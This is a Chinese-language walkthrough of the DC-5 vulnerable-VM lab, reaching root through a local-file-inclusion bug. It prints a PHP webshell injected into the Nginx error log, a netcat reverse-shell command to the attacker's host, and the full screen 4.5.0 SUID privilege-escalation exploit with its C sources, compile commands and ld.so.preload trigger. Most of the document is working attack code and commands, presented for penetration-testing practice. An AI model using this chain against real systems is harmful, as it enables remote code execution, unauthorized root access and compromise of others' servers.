准备kali(192.168.61.132)和DC-5(未知)
kali与DC-5都使用NAT连接
DC-5靶机 下载地址:
链接:https://pan.baidu.com/s/19Kv2fhBk3-yZYEP4MuDSaA?pwd=e8sq
提取码:e8sq
第一步使用nmap扫描同段主机,判断DC-5的IP地址
使用浏览器访问IP地址
我们可以在Contact栏中发现留言板
我们注入一些信息,发现每次提交的时候下边的@20xx会变化
使用目录扫描dirsearch 命令,进行目录扫描
dirsearch -u http://192.168.61.137
或者使用kali自带的web爬行工具dirbuster扫描网站目录(与dirsearch两者功能一样)
URL地址为DC-5的IP地址,Browse选择爆破字典
字典是dirbuster的 路径为/usr/share/dirbuster/wordlist,可以看到有很多字典,我们选择其中的一个爆破,如下图:
然后点击右下角start 开始查询,可以看到扫描的文件
Response状态为 200的表示可以登录,403表示不可登录
我们访问footer.php
尝试一下访问file=/etc/passwd,查看是否存在文件包含漏洞,发现确实存在
我们使用插件Wappalyzer查看Web servers是Nginx的
我们使用burp 进行抓包查看kali中Nginx的日志默认保存路径 /etc/nginx/nginx.conf,发现有两个保存文件即 access_log和error_log文件
我们这file后边写入一句话木马
<?php system($_GET['yun']);?>
然后我们查看Nginx的错误日志,并利用一句话木马
file=/var/log/nginx/error.log&yun=ls
然后我们使用kali对4444端口进行监听
file=/var/log/nginx/error.log&yun=nc -e /bin/sh 192.168.61.132 4444
nc -lvp 4444
然后用pyhton进行交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
接着查看具有suid的权限命令,可以看到有一个 screen-4.5.0的版本
find / -perm /4000 2>/dev/null
screen4.5.0
我们使用 searchsploit查看与screen 4.5.0相关的漏洞其漏洞
searchsploit screen 4.5.0
使用searchsploit命令下载41154.sh文件
searchsploit -m 41152.sh
文件路径为 /usr/share/exploitdb/exploits/linux/local/41154.sh
查看 41154.sh 的文件
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
根据提示将以下代码复制到tmp路径下的rootshell.c和libhax.c
//以下代码放到libhax.c目录下
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
//以下代码放到rootshell.c目录下
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
然后使用 gcc 命令进行编译
gcc -o /tmp/rootshell /tmp/rootshell.c
//将rotshell编译到 rootshell中
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
//将libhax编译到 libhax.cn中
接着将刚刚编译的两个文件放入到靶机的tmp路径下
首先 使用kali 用4444端口连接靶机,将libhax.so文件传入到靶机
kali:nc -lvp 4444 < libhax.so
靶机: nc 192.168.61.132 4444 > libhax.so
libhax文件上传成功,继续上传rootshell文件
kali:nc -lvp 4444 < rootshell
靶机: nc 192.168.61.132 4444 > rootshell
上传成功,然后根据提示进行提权
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
//提权成功
ok 使用 whoami查看一下是root用户
进入root目录下查看,最终找到flag
DC-5靶机完结!撒花*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。